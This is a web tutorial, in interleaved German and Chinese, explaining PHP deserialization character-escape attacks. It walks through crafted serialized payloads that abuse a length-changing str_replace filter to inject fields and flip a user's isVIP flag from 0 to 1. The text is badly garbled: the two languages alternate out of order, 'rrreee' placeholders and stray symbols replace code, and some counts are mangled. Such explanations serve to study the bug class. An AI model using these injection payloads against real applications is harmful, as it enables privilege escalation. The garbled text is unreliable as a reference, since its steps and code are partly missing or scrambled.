Heim > Artikel > Backend-Entwicklung > Vertiefendes Verständnis der Prinzipien der Deserialisierung von Zeichen-Escape in PHP
Wenn Entwickler es verwenden, serialisieren sie zuerst das Objekt, filtern dann die Zeichen im Objekt und deserialisieren es schließlich. Derzeit besteht möglicherweise eine Sicherheitslücke bezüglich der PHP-Deserialisierung.
Für das PHP-Deserialisierungs-Zeichen-Escape werden wir es in den folgenden zwei Situationen besprechen.
Nach dem Filtern sind mehr Zeichen vorhanden.
Nach dem Filtern sind weniger Zeichen vorhanden.
Nach dem Filtern sind mehr Zeichen vorhanden , und dann drin Es gibt insgesamt 3 Mitgliedsvariablen: username
, password
, isVIP
. class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
Sie können sehen, dass bei der Initialisierung dieser Klasse die Variable isVIP
standardmäßig auf 0
gesetzt ist und von den während der Initialisierung übergebenen Parametern nicht beeinflusst wird.
Der vollständige Code wird als nächstes veröffentlicht, um unsere Analyse zu erleichtern. user
类,然后里面一共有3个成员变量:username
、password
、isVIP
。
可以看到当这个类被初始化的时候,isVIP
变量默认是0
,并且不受初始化传入的参数影响。
接下来把完整代码贴出来,便于我们分析。
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这一段程序的输出结果如下:
function filter($s){ return str_replace("admin","hacker",$s); }
可以看到,对象序列化之后的isVIP
变量是0
。
这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:
因此整段程序如下:
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这一段程序的输出为:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未过滤 O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤
这个时候我们把这两个程序的输出拿出来对比一下:
s:5:"admin"; s:5:"hacker";
可以看到已过滤字符串中的hacker
与前面的字符长度不对应了
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
在这个时候,对于我们,在新建对象的时候,传入的admin
就是我们的可控变量
接下来明确我们的目标:将isVIP
变量的值修改为1
首先我们将我们的现有子串和目标子串进行对比:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //以上字符串的长度为47
也就是说,我们要在admin
这个可控变量的位置,注入我们的目标子串。
首先计算我们需要注入的目标子串的长度:
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
因为我们需要逃逸的字符串长度为47
,并且admin
每次过滤之后都会变成hacker
,也就是说每出现一次admin
,就会多1
个字符。
因此我们在可控变量处,重复47遍admin,然后加上我们逃逸后的目标子串,可控变量修改如下:
完整代码如下:
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
程序输出结果为:
我们可以数一下hacker的数量,一共是47个hacker,共282个字符,正好与前面282相对应。
后面的注入子串也正好完成了逃逸。
反序列化后,多余的子串会被抛弃
我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下:
object(user)#2 (3) { ["username"]=> string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
程序输出如下:
可以看到这个时候,isVIP
这个变量就变成了1
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}Das Ausgabeergebnis dieses Programms lautet wie folgt:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串Sie können sehen, dass die Variable
isVIP
nach der Objektserialisierung 0
ist. Zu diesem Zeitpunkt fügen wir eine Funktion zum Ersetzen des Administratorzeichens hinzu und ersetzen den Administrator durch einen Hacker. Die Ersetzungsfunktion lautet wie folgt: ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串 //长度为47Das gesamte Programm lautet also wie folgt:
";s:8:"password";s:6:" //长度为22Die Ausgabe dieses Programms lautet:
Das Vergleichen wir die Ausgabe dieser beiden Programme:
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}Sie können sehen, dass der
gefilterte
Hacker
in der Zeichenfolge nicht der vorherigen Zeichenlänge entsprichthackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:Zu diesem Zeitpunkt z Wenn wir ein neues Objekt erstellen, ist der eingehende
admin
unsere steuerbare Variable Als nächstes klären wir unser Ziel: Ändern Sie den Wert der Variablen isVIP
in 1
Zuerst vergleichen wir unseren vorhandenen Teilstring
Zielteilstring:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串Das heißt, wir wollen mit
admin
die Position der Variablen steuern und injizieren unser Zielteilstring. Berechnen Sie zunächst die Länge des Zielteilstrings, den wir einfügen müssen: Denn die Länge des Strings, den wir maskieren müssen, ist 47
und danach admin
Jeder Filter wird zu hacker
, was bedeutet, dass jedes Mal, wenn admin
erscheint, 1
weitere Zeichen vorhanden sind. Also wiederholen wir 47 Mal admin
für die steuerbare Variable und fügen dann unseren maskierten Zielteilstring hinzu. Die steuerbare Variable wird wie folgt geändert:O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}Der vollständige Code lautet wie folgt: Das Programmausgabeergebnis ist:
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}Wir können die Anzahl der Hacker zählen, es sind insgesamt
47 Hacke
r, mit insgesamt282
Zeichen, was genau den vorherigen282 entspricht.
Der am Ende eingefügte Teilstring hat auch gerade die Flucht abgeschlossen. 🎜🎜🎜Nach der Deserialisierung werden die redundanten Teilzeichenfolgen verworfen Diesmal wird die VariableisVIP
zu 1
und der Zweck der Deserialisierung der Zeichenflucht wird erreicht. 🎜🎜🎜🎜Weniger Zeichen nach dem Filtern🎜🎜🎜🎜Oben wird die Situation beschrieben, in der es mehr Zeichen im PHP-Deserialisierungszeichen-Escape gibt. 🎜🎜Im Folgenden wird zunächst die Situation erläutert, in der die Escapezeichen für Deserialisierungszeichen reduziert werden. 🎜🎜Erstens ist der Hauptcode immer noch derselbe wie oben, es ist immer noch dieselbe Klasse. Der Unterschied besteht darin, dass wir in der Filterfunktion Hacker in Hack geändert haben. 🎜🎜Der vollständige Code lautet wie folgt: 🎜🎜Erhalten Sie das Ergebnis: 🎜object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }🎜 Vergleichen Sie auch den 🎜vorhandenen Teilstring🎜 und den 🎜Zielteilstring🎜: 🎜rrreee🎜Weil beim Filtern 🎜5🎜 Zeichen gelöscht wurden. 🎜 4 🎜 , also wird im Gegensatz zur obigen Situation, in der die Anzahl der Zeichen zunimmt, mit zunehmender Anzahl hinzugefügter 🎜admin🎜 🎜der vorhandene Teilstring 🎜 eingerückt. 🎜🎜Berechnen Sie die Länge der 🎜Zielteilzeichenfolge🎜: 🎜rrreee🎜 Berechnen Sie dann die Länge der Zeichenfolge bis zur 🎜nächsten steuerbaren Variablen🎜: 🎜rrreee🎜Denn jedes Mal, wenn wir filtern, werden 🎜1🎜 Zeichen weniger sein, also haben wir Wiederholen Sie zunächst die 🎜admin🎜-Zeichen 🎜22🎜 Mal (die 22 Mal hier sind nicht so genau wie die Escape-Situation mit mehr Zeichen und müssen möglicherweise später angepasst werden) 🎜🎜Der vollständige Code lautet wie folgt: (Es gibt 🎜22 admin in den Variablen hier. 🎜)🎜rrreee🎜Ausgabeergebnis: 🎜🎜🎜Hinweis: 🎜Der PHP-Deserialisierungsmechanismus lautet beispielsweise: Wenn angegeben ist, dass 10 Zeichen vorhanden sind, aber nur 9 gelesen werden, werden doppelte Anführungszeichen erreicht Dieses Mal wird PHP das Anführungszeichen als 10. Zeichen behandeln, was bedeutet, dass das doppelte Anführungszeichen nicht verwendet wird, um zu bestimmen, ob eine Zeichenfolge beendet ist, sondern die Zeichenfolge gemäß der zuvor angegebenen Nummer gelesen wird. 🎜
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
完整代码为:
输出:
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105
造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确
解决办法是:多添加2个admin,这样就可以补上缺少的字符。
修改后代码如下:
输出结果为:
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
分析一下输出结果:
可以看到,这一下就对了。
我们将对象反序列化然后输出,代码如下:
得到结果:
object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
可以看到,这个时候isVIP
的值也为1
,也就达到了我们反序列化字符逃逸的目的了
推荐学习:《PHP视频教程》
Das obige ist der detaillierte Inhalt vonVertiefendes Verständnis der Prinzipien der Deserialisierung von Zeichen-Escape in PHP. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!